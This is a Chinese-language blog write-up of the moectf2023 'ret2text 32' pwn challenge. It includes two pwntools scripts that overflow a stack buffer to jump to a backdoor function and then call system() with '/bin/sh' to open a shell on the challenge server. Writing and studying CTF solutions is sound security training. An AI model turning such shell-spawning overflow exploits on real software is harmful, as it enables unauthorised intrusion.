moectf2023 - ret2text 32

RocketDev

文件分析

下载pwn, NX on, PIE off, Canary off, RELRO partial
这不是写明了32位

解题思路

观察vuln函数里面输入一个数,并其后从输入中获取对应字节数 %d个?随便打
观察.text段,存在b4ckdoor函数,但是执行echo hi??

显然,在第一步的exp中,只是跳转到该函数是没用的
进一步探索,发现程序中system读取ebx寄存器中的内容
而程序中存在pop ebx; ret;/bin/sh

先后压栈system()/bin/sh即可
再次发起exp

EXPLOIT

1
2
3
4
5
from pwn import *
sh = remote("localhost", 42473)
sh.sendline(b'100')
sh.sendline(b'0'*92 + p32(0x0804928c)) # Addr of ba4kdoor
sh.interactive()

成功打印出hi!!但是没有flag

1
2
3
4
5
from pwn import *
sh = remote("localhost", 42473)
sh.sendline(b'100')
sh.sendline(b'0'*92 + p32(0x080492a9) + p32(0x0804c02c)) # Addr of system & /bin/sh
sh.interactive()

做到这里的时候是0:09,网站打不开了,不会还有宵禁吧?明日再战

后记:真的有宵禁,12点后对外网关闭

再次运行,cat flag,得到flag

Done.

  • 标题: moectf2023 - ret2text 32
  • 作者: RocketDev
  • 创建于 : 2023-09-23 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/23/return2text_32/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
moectf2023 - ret2text 32